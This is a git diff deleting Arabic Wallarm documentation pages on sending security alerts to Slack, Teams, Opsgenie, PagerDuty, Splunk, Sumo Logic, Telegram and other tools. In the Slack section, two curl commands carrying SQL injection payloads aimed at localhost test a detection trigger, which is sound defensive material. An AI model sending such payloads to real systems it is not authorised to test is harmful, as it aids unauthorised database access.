Wallarm إرسال السجلات إلى أي مجمع بيانات عبر الويب هوك. - - للاندماج مع Fluentd أو Logstash، يمكنك استخدام بطاقات الاندماج المقابلة في واجهة مستخدم Wallarm Console. - - للاندماج مع مجمعي بيانات آخرين، يمكنك استخدام [بطاقة الاندماج عبر الويب هوك](webhook.md) في واجهة مستخدم Wallarm Console. - -وصفنا بعض الأمثلة على كيفية تكوين الاندماج مع مجمعي البيانات الشهيرة الموجهة لأنظمة إدارة المعلومات الأمنية: - -* [Wallarm → Logstash → IBM QRadar](webhook-examples/logstash-qradar.md) -* [Wallarm → Logstash → Splunk Enterprise](webhook-examples/logstash-splunk.md) -* [Wallarm → Logstash → Micro Focus ArcSight Logger](webhook-examples/logstash-arcsight-logger.md) -* [Wallarm → Logstash → Datadog](webhook-examples/fluentd-logstash-datadog.md) - - كما يدعم Wallarm [الاندماج الأصلي مع Datadog عبر واجهة برمجة تطبيقات Datadog](datadog.md). الاندماج الأصلي لا يتطلب استخدام مجمع بيانات وسيط. - -## تعطيل وحذف اندماج - ---8<-- "../include/integrations/integrations-disable-delete.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/microsoft-teams.md b/docs/latest-ar/user-guides/settings/integrations/microsoft-teams.md deleted file mode 100644 index 302d443dd1..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/microsoft-teams.md +++ /dev/null @@ -1,48 +0,0 @@ -# Microsoft Teams - -[Microsoft Teams](https://www.microsoft.com/en-us/microsoft-teams/group-chat-software) هي منصة تعاون وتواصل مصممة لتسهيل العمل الجماعي وتمكين المنظمات من التواصل والتعاون وإدارة المشاريع بفعالية، سواء كانوا يعملون في المكتب، عن بُعد، أو مزيج من الاثنين. يمكنك ضبط Wallarm لإرسال الإشعارات إلى قناة(قنوات) Microsoft Teams الخاصة بك. إذا أردت إرسال الإشعارات إلى عدة قنوات مختلفة، قم بإنشاء عدة تكاملات لـ Microsoft Teams. - -## إعداد التكامل - -1. افتح قسم **التكاملات**. -1. انقر على كتلة **Microsoft Teams** أو انقر على زر **إضافة تكامل** واختر **Microsoft Teams**. -1. أدخل اسم تكامل. -1. افتح إعدادات قناة Microsoft Teams حيث تريد نشر الإشعارات وقم بتكوين Webhook جديد باستخدام [التعليمات](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook). -1. انسخ عنوان URL لـ Webhook المُقدم والصق القيمة في حقل **Webhook URL** في لوحة تحكم Wallarm. -1. اختر أنواع الأحداث لتشغيل الإشعارات. - - ![تكامل MS Teams](../../../images/user-guides/settings/integrations/add-ms-teams-integration.png) - - تفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. انقر على **اختبار التكامل** للتحقق من صحة الإعدادات، وتوفر سحابة Wallarm، وتنسيق الإشعار. - - سيتم إرسال الإشعارات الاختبارية مع البادئة `[رسالة اختبار]`: - - ``` - [رسالة اختبار] [شريك اختبار] تغير محيط الشبكة - - نوع الإشعار: new_scope_object_ips - - تم اكتشاف عناوين IP جديدة في محيط الشبكة: - 8.8.8.8 - - العميل: TestCompany - السحابة: EU - ``` - -1. انقر على **إضافة تكامل**. - -## إعداد التنبيهات الإضافية - ---8<-- "../include/integrations/integrations-trigger-setup-limited-ar.md" - -## تعطيل وحذف تكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعايير التكامل الخاطئة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/opsgenie.md b/docs/latest-ar/user-guides/settings/integrations/opsgenie.md deleted file mode 100644 index c91572ff31..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/opsgenie.md +++ /dev/null @@ -1,82 +0,0 @@ -# Opsgenie - -يُعد [Opsgenie](https://www.atlassian.com/software/opsgenie) أداة لإدارة الحوادث والتنبيهات من Atlassian. يُمكنك إعداد Wallarm لإرسال التنبيهات إلى Opsgenie. - -## إعداد الدمج - -في [واجهة مستخدم Opsgenie](https://app.opsgenie.com/teams/list): - -1. انتقل إلى فريقك ➝ **التكاملات**. -2. انقر على زر **إضافة تكامل** واختر **API**. -3. أدخل اسماً للتكامل الجديد وانقر على **حفظ التكامل**. -4. انسخ مفتاح API المُقدم. - -في واجهة مستخدم Wallarm: - -1. افتح قسم **التكاملات**. -1. انقر على الكتلة **Opsgenie** أو انقر على زر **أضف تكامل** واختر **Opsgenie**. -1. أدخل اسم التكامل. -1. الصق مفتاح API المنسوخ في حقل **مفتاح API**. -1. إذا كنت تستخدم [نسخة EU](https://docs.opsgenie.com/docs/european-service-region) من Opsgenie، فاختر نقطة نهاية API المناسبة لـ Opsgenie من القائمة. افتراضيًا، يتم تعيين نقطة نهاية نسخة الولايات المتحدة. -1. اختر أنواع الأحداث لتشغيل الإخطارات. - - ![تكامل Opsgenie](../../../images/user-guides/settings/integrations/add-opsgenie-integration.png) - - التفاصيل عن الأحداث المتاحة: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. انقر على **اختبار التكامل** للتحقق من صحة التكوين، وتوافر سحابة Wallarm، وتنسيق الإخطار. - - سيتم إرسال الإخطارات التجريبية بالبادئة `[رسالة اختبار]`: - - ![رسالة اختبار Opsgenie](../../../images/user-guides/settings/integrations/test-opsgenie-new-vuln.png) - -1. انقر على **أضف تكامل**. - -## إعداد التنبيهات الإضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -### مثال: إخطار Opsgenie إذا تم اكتشاف حادثين أو أكثر في ثانية واحدة - -إذا تم اكتشاف حادثين أو أكثر تتعلق بخادم التطبيقات أو قاعدة البيانات في ثانية واحدة، فسيتم إرسال إخطار بهذا الحدث إلى Opsgenie. - -![مثال على مشغل يرسل البيانات إلى Splunk](../../../images/user-guides/triggers/trigger-example3.png) - -**لاختبار المشغل**، يُطلب إرسال الهجوم الذي يستغل نقطة ضعف نشطة إلى المورد المحمي. يعرض قسم **الثغرات الأمنية** في لوحة تحكم Wallarm الثغرات الأمنية النشطة المكتشفة في تطبيقاتك وأمثلة الهجمات التي تستغل هذه الثغرات. - -إذا تم إرسال مثال الهجوم إلى المورد المحمي، سجل Wallarm الحادث. سيؤدي تسجيل حادثين أو أكثر إلى تشغيل إرسال الإخطار التالي إلى Opsgenie: - -``` -[Wallarm] مشغل: تجاوز عدد الحوادث العتبة - -نوع الإخطار: incidents_exceeded - -تجاوز عدد الحوادث المُكتشفة 1 في ثانية واحدة. -تم تشغيل هذا الإخطار بواسطة مشغل "الإخطار عن الحوادث". - -عناصر شروط المشغل الإضافية: -الهدف: الخادم، قاعدة البيانات. - -عرض الأحداث: -https://my.wallarm.com/attacks?q=incidents&time_from=XXXXXXXXXX&time_to=XXXXXXXXXX - -العميل: TestCompany -السحابة: EU -``` - -* `الإخطار عن الحوادث` هو اسم المشغل -* `TestCompany` هو اسم حساب شركتك في لوحة تحكم Wallarm -* `EU` هي سحابة Wallarm حيث تم تسجيل حساب شركتك - -!!! info "حماية المورد من استغلال الثغرة الأمنية النشطة" - لحماية المورد من استغلال الثغرة الأمنية النشطة، نوصي بتصحيح الثغرة الأمنية في الوقت المناسب. إذا لم يكن بالإمكان تصحيح الثغرة الأمنية على جانب التطبيق، يُرجى تكوين [تصحيح افتراضي](../../rules/vpatch-rule.md) لمنع الهجمات التي تستغل هذه الثغرة. - -## تعطيل وحذف تكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توافر النظام وخطأ في معلمات التكامل - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/pagerduty.md b/docs/latest-ar/user-guides/settings/integrations/pagerduty.md deleted file mode 100644 index a1f2d27876..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/pagerduty.md +++ /dev/null @@ -1,57 +0,0 @@ -[link-pagerduty-docs]: https://support.pagerduty.com/docs/services-and-integrations - -# PagerDuty - -[PagerDuty](https://www.pagerduty.com/) هي منصة لإدارة الحوادث والاستجابة لها تساعد المنظمات على إدارة الحوادث وحلها بفعالية أكبر، مما يضمن موثوقية العمليات الرقمية. يمكنك ضبط Wallarm لإرسال الحوادث إلى PagerDuty. - -## ضبط التكامل - -في واجهة مستخدم PagerDuty، [قم بضبط تكامل][link-pagerduty-docs] لأي خدمة موجودة أو انشئ خدمة جديدة خصيصًا لـWallarm: - -1. انتقل إلى **التهيئة** → **الخدمات**. -2. افتح إعدادات الخدمة الموجودة أو انقر على زر **خدمة جديدة**. -3. أنشئ تكاملًا جديدًا: - - * إذا كنت تقوم بضبط تكاملات للخدمة الموجودة، انتقل إلى علامة التبويب **التكاملات** وانقر على زر **تكامل جديد**. - * إذا كنت تنشئ خدمة جديدة، أدخل اسم الخدمة وانتقل إلى قسم **إعدادات التكامل**. -4. أدخل اسم التكامل واختر خيار **استخدام واجهة برمجة التطبيقات الخاصة بنا مباشرة** كنوع من التكامل. -5. احفظ الإعدادات: - - * إذا كنت تقوم بضبط تكاملات للخدمة الموجودة، انقر على زر **إضافة تكامل**. - * إذا كنت تنشئ خدمة جديدة، قم بضبط بقية أقسام الإعدادات وانقر على زر **إضافة خدمة**. - -5. انسَخ مفتاح التكامل **Integration Key** المقدم. - -في واجهة مستخدم Wallarm: - -1. افتح قسم **التكاملات**. -1. انقر على قطعة **PagerDuty** أو انقر على زر **إضافة تكامل** واختر **PagerDuty**. -1. أدخل اسم التكامل. -1. الصق قيمة **Integration Key** في الحقل المناسب. -1. اختر أنواع الأحداث لتشغيل الإشعارات. - - ![تكامل PagerDuty](../../../images/user-guides/settings/integrations/add-pagerduty-integration.png) - - التفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. انقر على **اختبار التكامل** للتحقق من صحة الضبط، توفر Wallarm Cloud، وصيغة الإشعار. - - سيتم إرسال إشعارات الاختبار ببادئة `[رسالة اختبار]`: - - ![إشعار اختبار PagerDuty](../../../images/user-guides/settings/integrations/test-pagerduty-scope-changed.png) - -1. انقر على **إضافة تكامل**. - -## ضبط تنبيهات إضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -## تعطيل وحذف التكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعلمات التكامل غير صحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/servicenow.md b/docs/latest-ar/user-guides/settings/integrations/servicenow.md deleted file mode 100644 index 670558c6f9..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/servicenow.md +++ /dev/null @@ -1,44 +0,0 @@ -# ServiceNow - -[ServiceNow](https://www.servicenow.com/) هي منصة مستندة إلى السحابة توفر مجموعة من حلول إدارة خدمات تكنولوجيا المعلومات (ITSM) وأتمتة العمليات التجارية للمؤسسات. يمكنك ضبط Wallarm لإنشاء تذاكر مشاكل في ServiceNow. - -## المتطلبات - -ServiceNow هي منصة لمساعدة الشركات على إدارة تدفقات العمل الرقمية لعمليات المؤسسات. تحتاج شركتك إلى امتلاك [نسخة ServiceNow وتطبيقات تدفق العمل المنشأة داخلها](https://www.servicenow.com/lpdem/demonow-cloud-platform-app-dev.html) لدمج هذه التطبيقات مع Wallarm. - -## إعداد الدمج - -في واجهة مستخدم ServiceNow: - -1. احصل على اسم [نسخة ServiceNow](https://docs.servicenow.com/bundle/tokyo-application-development/page/build/team-development/concept/c_InstanceHierarchies.html) الخاصة بك. -1. احصل على اسم المستخدم وكلمة المرور للوصول إلى النسخة. -1. قم بتمكين المصادقة OAuth واحصل على معرف العميل والسر كما هو موضح [هنا](https://docs.servicenow.com/bundle/tokyo-application-development/page/integrate/inbound-rest/task/t_EnableOAuthWithREST.html). - -في واجهة مستخدم Wallarm: - -1. افتح وحدة تحكم Wallarm → **Integrations** → **ServiceNow**. -1. أدخل اسم الدمج. -1. أدخل اسم نسخة ServiceNow. -1. أدخل اسم المستخدم وكلمة المرور للوصول إلى النسخة المحددة. -1. أدخل بيانات المصادقة OAuth: معرف العميل والسر. -1. اختر أنواع الأحداث لتشغيل الإخطارات. - - ![دمج ServiceNow](../../../images/user-guides/settings/integrations/add-servicenow-integration.png) - - تفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. اضغط **Test integration** للتحقق من صحة التكوين وتوفر سحابة Wallarm وتنسيق الإخطار. - - سيتم إرسال الإخطارات التجريبية مع البادئة `[Test message]`. - -1. اضغط **Add integration**. - -## تعطيل وحذف دمج - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعاملات الدمج غير الصحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/slack.md b/docs/latest-ar/user-guides/settings/integrations/slack.md deleted file mode 100644 index d6af69d50d..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/slack.md +++ /dev/null @@ -1,121 +0,0 @@ -# Slack - -[Slack](https://slack.com/) هو منصة تعاون فريقية وللمراسلة قائمة على السحابة ومستخدمة على نطاق واسع. تم تصميمها لتسهيل التواصل والتعاون داخل المؤسسات من خلال توفير مساحة مركزية للفرق لتبادل الرسائل، مشاركة الملفات، والدمج مع أدوات وخدمات أخرى. يمكنك إعداد Wallarm لإرسال الإشعارات إلى قنوات Slack الخاصة بك. إذا كنت تريد إرسال الإشعارات إلى قنوات Slack أو حسابات مختلفة متعددة، قم بإنشاء عدة تكاملات Slack. - -## إعداد التكامل - -1. افتح قسم **التكاملات**. -1. انقر على كتلة **Slack** أو انقر على زر **إضافة تكامل** واختر **Slack**. -1. أدخل اسم تكامل. -1. افتح [إعدادات Webhook في Slack](https://my.slack.com/services/incoming-webhook/) وأضف Webhook جديدًا مختارًا القناة لنشر الرسائل فيها. -1. انسخ عنوان URL لـ Webhook المقدم والصق القيمة في حقل **عنوان URL للـ Webhook** في واجهة مستخدم Wallarm. -1. اختر أنواع الأحداث لتشغيل الإشعارات. - - ![تكامل Slack](../../../images/user-guides/settings/integrations/add-slack-integration.png) - - التفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. انقر على **اختبار التكامل** للتحقق من صحة الإعداد، توفر سحابة Wallarm، وشكل الإشعار. - - سيقوم هذا بإرسال الإشعارات التجريبية بالبادئة `[رسالة تجريبية]`: - - ``` - [رسالة تجريبية] [شريك تجريبي] تغير محيط الشبكة - - نوع الإشعار: new_scope_object_ips - - تم اكتشاف عناوين IP جديدة في محيط الشبكة: - 8.8.8.8 - - العميل: TestCompany - السحابة: EU - ``` - -1. انقر على **إضافة تكامل**. - -## إعداد إشعارات إضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -### مثال: إشعار Slack إذا تم اكتشاف ضربتين SQLi أو أكثر خلال دقيقة - -إذا تم إرسال ضربتين SQLi أو أكثر إلى المورد المحمي، فسيتم إرسال إشعار عن هذا الحدث إلى قناة Slack. - -![مثال على تشغيل الإشعار إلى Slack](../../../images/user-guides/triggers/trigger-example1.png) - -**لتجربة المشغل:** - -أرسل الطلبات التالية إلى المورد المحمي: - -```bash -curl 'http://localhost/?id=1%27%20UNION%20SELECT%20username,%20password%20FROM%20users--' -curl 'http://localhost/?id=1%27%20select%20version();' -``` -افتح قناة Slack وتحقق من استلام الإشعار التالي من المستخدم **wallarm**: - -``` -[Wallarm] المشغل: تجاوز عدد الضربات التي تم اكتشافها العتبة - -نوع الإشعار: attacks_exceeded - -تجاوز عدد الضربات التي تم اكتشافها الـ1 في دقيقة واحدة. -تم تشغيل هذا الإشعار بواسطة مشغل "إشعار حول ضربات SQLi". - -بنود إضافية للمشغل: -نوع الهجوم: SQLi. - -عرض الأحداث: -https://my.wallarm.com/attacks?q=attacks&time_from=XXXXXXXXXX&time_to=XXXXXXXXXX - -العميل: TestCompany -السحابة: EU -``` - -* `إشعار حول ضربات SQLi` هو اسم المشغل -* `TestCompany` هو اسم حساب شركتك في وحدة التحكم Wallarm -* `EU` هو سحابة Wallarm حيث يتم تسجيل حساب شركتك - -### مثال: إشعار Slack وعبر البريد الإلكتروني إذا تمت إضافة مستخدم جديد إلى الحساب - -إذا تمت إضافة مستخدم جديد بدور **المدير** أو **المحلل** إلى حساب الشركة في وحدة التحكم Wallarm، سيتم إرسال إشعار عن هذا الحدث إلى العنوان البريدي المُحدد في التكامل وإلى قناة Slack. - -![مثال على تشغيل الإشعار إلى Slack وعبر البريد الإلكتروني](../../../images/user-guides/triggers/trigger-example2.png) - -**لتجربة المشغل:** - -1. افتح وحدة التحكم Wallarm → **الإعدادات** → **المستخدمون** وأضف مستخدمًا جديدًا. على سبيل المثال: - - ![المستخدم المضاف](../../../images/user-guides/settings/integrations/webhook-examples/adding-user.png) -2. افتح صندوق البريد الوارد الخاص بك وتحقق من استلام الرسالة التالية: - - ![البريد الإلكتروني حول مستخدم جديد تمت إضافته](../../../images/user-guides/triggers/test-new-user-email-message.png) -3. افتح قناة Slack وتحقق من استلام الإشعار التالي من المستخدم **wallarm**: - - ``` - [Wallarm] المشغل: تمت إضافة مستخدم جديد إلى حساب الشركة - - نوع الإشعار: create_user - - تمت إضافة مستخدم جديد John Smith بدور محلل تمت إضافته إلى حساب الشركة بواسطة John Doe . - تم تشغيل هذا الإشعار بواسطة مشغل "مستخدم مضاف". - - العميل: TestCompany - السحابة: EU - ``` - - * `John Smith` و`johnsmith@example.com` معلومات حول المستخدم الذي تمت إضافته - * `محلل` هو دور المستخدم الذي تمت إضافته - * `John Doe` و`johndoe@example.com` معلومات حول المستخدم الذي قام بإضافة مستخدم جديد - * `مستخدم مضاف` هو اسم المشغل - * `TestCompany` هو اسم حساب شركتك في وحدة التحكم Wallarm - * `EU` هو سحابة Wallarm حيث يتم تسجيل حساب شركتك - -## تعطيل وحذف تكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعلمات التكامل غير الصحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/splunk.md b/docs/latest-ar/user-guides/settings/integrations/splunk.md deleted file mode 100644 index 0c1720b4f3..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/splunk.md +++ /dev/null @@ -1,97 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Splunk - -[Splunk] (https://www.splunk.com/) هي منصة مصممة للبحث، والمراقبة، وتحليل البيانات التي تُولَّد آليًا، بما في ذلك السجلات والأحداث وأشكال أخرى من البيانات التشغيلية والتجارية. يمكنك إعداد Wallarm لإرسال التنبيهات إلى Splunk. - -## إعداد التكامل - -في واجهة استخدام Splunk: - -1. افتح **الإعدادات** ➝ **إضافة بيانات** ➝ **مراقبة**. -2. اختر خيار **جامع الأحداث HTTP**، أدخل اسم التكامل وانقر **التالي**. -3. تخطَّ اختيار نوع البيانات في صفحة **إعدادات الإدخال** واستمر إلى **مراجعة الإعدادات**. -4. راجع و**أرسل** الإعدادات. -5. انسخ الرمز الموفر. - -في واجهة استخدام Wallarm: - -1. افتح قسم **التكاملات**. -1. انقر على كتلة **Splunk** أو انقر على زر **إضافة تكامل** واختر **Splunk**. -1. أدخل اسم التكامل. -1. الصق الرمز المنسوخ في حقل **رمز HEC**. -1. الصق URI ورقم المنفذ لمثيل Splunk الخاص بك في حقل **HEC URI:PORT**. على سبيل المثال: `https://hec.splunk.com:8088`. -1. اختر أنواع الأحداث لتشغيل الإشعارات. - - ![تكامل Splunk](../../../images/user-guides/settings/integrations/add-splunk-integration.png) - - تفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/advanced-events-for-integrations-ar.md" - -1. انقر **اختبار التكامل** للتحقق من صحة التكوين، وتوافر Wallarm Cloud، وتنسيق الإشعار. - - اختبار إشعار Splunk بتنسيق JSON: - - ```json - { - summary:"[رسالة اختبار] [شريك اختبار (US)] تم اكتشاف ثغرة جديدة", - description:"نوع الإشعار: ثغرة - - تم اكتشاف ثغرة جديدة في نظامك. - - المعرف: - العنوان: اختبار - النطاق: example.com - المسار: - الطريقة: - المكتشف من قبل: - العامل: - النوع: معلومات - التهديد: متوسط - - المزيد من التفاصيل: https://us1.my.wallarm.com/object/555 - - - العميل: شركة الاختبار - السحابة: US - ", - details:{ - client_name:"شركة الاختبار", - cloud:"US", - notification_type:"ثغرة", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"اختبار", - discovered_by:null, - threat:"متوسط", - type:"معلومات" - } - } - } - ``` - -1. انقر **إضافة تكامل**. - ---8<-- "../include/cloud-ip-by-request.md" - -## إعداد التنبيهات الإضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -## تنظيم الأحداث في لوحة تحكم - ---8<-- "../include/integrations/application-for-splunk.md" - -## تعطيل وحذف التكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام وأخطاء في معايير التكامل - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/sumologic.md b/docs/latest-ar/user-guides/settings/integrations/sumologic.md deleted file mode 100644 index fe5847f2bf..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/sumologic.md +++ /dev/null @@ -1,86 +0,0 @@ -# Sumo Logic - -[Sumo Logic](https://www.sumologic.com/) هي منصة تحليلات بيانات الآلة المُعتمِدة على السحابة، والتي تقدم للمنظمات رؤى لحظية حول عمليات تكنولوجيا المعلومات الخاصة بها، والأمن، وأداء التطبيقات. يمكنكَ إعداد Wallarm لإرسال الرسائل إلى Sumo Logic. - -## إعداد الإدماج - -في واجهة مستخدم Sumo Logic: - -1. قم بتكوين مُجمِّع مستضاف وفقًا لل[تعليمات](https://help.sumologic.com/03Send-Data/Hosted-Collectors/Configure-a-Hosted-Collector). -2. قم بتكوين مصدر لسجلات HTTP والمقاييس وفقًا لل[تعليمات](https://help.sumologic.com/03Send-Data/Sources/02Sources-for-Hosted-Collectors/HTTP-Source). -3. انسخ عنوان **HTTP Source Address (URL)** المُقدَّم. - -في واجهة مستخدم Wallarm: - -1. افتح قسم **الإدماجات**. -1. انقر على كتلة **Sumo Logic** أو انقر على زر **إضافة إدماج** واختر **Sumo Logic**. -1. أدخل اسمًا للإدماج. -1. الصق القيمة المنسوخة لعنوان **HTTP Source Address (URL)** في حقل **HTTP Source Address (URL)**. -1. اختر أنواع الأحداث لتحفيز الإشعارات. - - ![إدماج Sumo Logic](../../../images/user-guides/settings/integrations/add-sumologic-integration.png) - - تفاصيل حول الأحداث المتاحة: - - --8<-- "../include/integrations/advanced-events-for-integrations-ar.md" - -1. انقر على **اختبار الإدماج** لفحص صحة التكوين، وتوافر سحابة Wallarm، وتنسيق الإشعار. - - اختبار إشعار Sumo Logic: - - ```json - { - summary:"[رسالة اختبار] [شريك اختبار(US)] تم اكتشاف ثغرة جديدة", - description:"نوع الإشعار: ثغرة - - تم اكتشاف ثغرة جديدة في نظامك. - - الهوية: - العنوان: اختبار - النطاق: example.com - المسار: - الطريقة: - المكتشف من قبل: - المعامل: - النوع: معلومة - التهديد: متوسط - - المزيد من التفاصيل: https://us1.my.wallarm.com/object/555 - - - العميل: TestCompany - السحابة: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"ثغرة", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"اختبار", - discovered_by:null, - threat:"متوسط", - type:"معلومة" - } - } - } - ``` - -1. انقر على **إضافة إدماج**. - -## إعداد تنبيهات إضافية - ---8<-- "../include/integrations/integrations-trigger-setup-ar.md" - -## تعطيل وحذف الإدماج - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعلمات الإدماج غير صحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/telegram.md b/docs/latest-ar/user-guides/settings/integrations/telegram.md deleted file mode 100644 index ced95d641c..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/telegram.md +++ /dev/null @@ -1,55 +0,0 @@ -# تيليجرام - -[تيليجرام](https://telegram.org/) هو منصة للتراسل الفوري وتطبيق لوسائل التواصل الاجتماعي تعمل بالسحابة. يمكنك ضبط Wallarm لإرسال التقارير المجدولة والإشعارات الفورية إلى تيليجرام. - -يمكن إرسال التقارير المجدولة يوميًا، أسبوعيًا، أو شهريًا. تتضمن التقارير معلومات تفصيلية عن الثغرات الأمنية، الهجمات، والحوادث التي تم اكتشافها في نظامك خلال الفترة المختارة. تشمل الإشعارات تفاصيل مختصرة عن الأحداث المثارة. - -## إعداد التكامل - -1. افتح قسم **التكاملات**. -1. انقر على كتلة **تيليجرام** أو انقر على زر **إضافة تكامل** واختر **تيليجرام**. -1. أضف [@WallarmUSBot](https://t.me/WallarmUSBot) (إذا كنت تستخدم Wallarm السحابة الأمريكية) أو [@WallarmBot](https://t.me/WallarmBot) (إذا كنت تستخدم Wallarm السحابة الأوروبية) إلى مجموعة تيليجرام التي تتلقى إشعارات Wallarm واتبع رابط المصادقة. -1. بعد التوجيه إلى واجهة Wallarm، صادق البوت. -1. أدخل اسمًا للتكامل. -1. اختر تواتر إرسال التقارير الأمنية. إذا لم يتم اختيار تواتر، فلن يتم إرسال التقارير. -1. اختر أنواع الأحداث لتشغيل الإشعارات. - - ![تكامل تيليجرام](../../../images/user-guides/settings/integrations/add-telegram-integration.png) - - تفاصيل عن الأحداث المتاحة: - - --8<-- "../include/integrations/events-for-integrations.md" - - يمكن اختبار التكامل مع تيليجرام فقط إذا تم إنشاء هذا التكامل بالفعل. - -1. انقر **إضافة تكامل**. -1. افتح بطاقة التكامل المُنشأة مرة أخرى. -1. انقر **اختبار التكامل** للتحقق من صحة التكوين، توفر Wallarm Cloud، وتنسيق الإشعار. - - سيتم إرسال الإشعارات التجريبية بالبادئة `[رسالة اختبار]`: - - ``` - [رسالة اختبار] [شريك اختبار] تغير محيط الشبكة - - نوع الإشعار: new_scope_object_ips - - تم اكتشاف عناوين IP جديدة في محيط الشبكة: - 8.8.8.8 - - العميل: TestCompany - السحابة: الاتحاد الأوروبي - ``` - -يمكنك أيضًا بدء الدردشة مباشرةً مع [@WallarmUSBot](https://t.me/WallarmUSBot) أو [@WallarmBot](https://t.me/WallarmBot). سوف يرسل البوت التقارير والإشعارات كذلك. - -## إعداد تنبيهات إضافية - ---8<-- "../include/integrations/integrations-trigger-setup-limited-ar.md" - -## تعطيل وحذف التكامل - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## عدم توفر النظام ومعلمات التكامل غير الصحيحة - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md b/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md deleted file mode 100644 index f3873ada12..0000000000 --- a/docs/latest-ar/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md +++ /dev/null @@ -1,118 +0,0 @@ -# Micro Focus ArcSight Logger عبر Fluentd - -تزودكم هذه التعليمات بمثال على دمج Wallarm مع جامع البيانات Fluentd لإعادة توجيه الأحداث إلى نظام ArcSight Logger. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![تدفق Webhook](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/arcsight-logger-scheme.png) - -!!! info "الدمج مع نسخة Enterprise من ArcSight ESM" - لتكوين إعادة توجيه السجلات من Fluentd إلى نسخة Enterprise لـ ArcSight ESM، يُنصح بتكوين موصل Syslog في جانب ArcSight ومن ثم إعادة توجيه السجلات من Fluentd إلى منفذ الموصل. للحصول على وصف أكثر تفصيلاً للموصلات، يُرجى تحميل **دليل مستخدم SmartConnector** من [وثائق ArcSight SmartConnector الرسمية](https://community.microfocus.com/t5/ArcSight-Connectors/ct-p/ConnectorsDocs). - -## الموارد المستخدمة - -* [ArcSight Logger 7.1](#arcsight-logger-configuration) مع عنوان WEB `https://192.168.1.73:443` مثبت على CentOS 7.8 -* [Fluentd](#fluentd-configuration) مثبت على Debian 11.x (bullseye) ومتاح على `https://fluentd-example-domain.com` -* وصول المسؤول إلى وحدة تحكم Wallarm في [سحابة EU](https://my.wallarm.com) لـ [تكوين الدمج مع Fluentd](#configuration-of-fluentd-integration) - ---8<-- "../include/cloud-ip-by-request.md" - -بما أن الروابط إلى خدمات ArcSight Logger وFluentd مقتبسة كأمثلة، لا تكون متجاوبة. - -### تكوين ArcSight Logger - -تم تهيئة مستقبل السجلات في ArcSight Logger `سجلات Wallarm Fluentd` كما يلي: - -* يتم استقبال السجلات عبر UDP (`نوع = مستقبل UDP`) -* منفذ الاستماع هو `514` -* يتم تحليل الأحداث بواسطة مُحلل ال syslog -* الإعدادات الافتراضية الأخرى - -![تكوين المستقبل في ArcSight Logger](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/fluentd-setup.png) - -للحصول على وصف أكثر تفصيلاً لتكوين المستقبل، يُرجى تحميل **دليل تثبيت Logger** للنسخة المناسبة من [وثائق ArcSight Logger الرسمية](https://community.microfocus.com/t5/Logger-Documentation/ct-p/LoggerDoc). - -### تكوين Fluentd - -بما أن Wallarm ترسل السجلات إلى جامع البيانات الوسيط Fluentd عبر webhooks، يجب أن يفي تكوين Fluentd بالمتطلبات التالية: - -* قبول طلبات POST أو PUT -* قبول طلبات HTTPS -* وجود عنوان URL عام -* إعادة توجيه السجلات إلى ArcSight Logger، يستخدم هذا المثال الإضافة 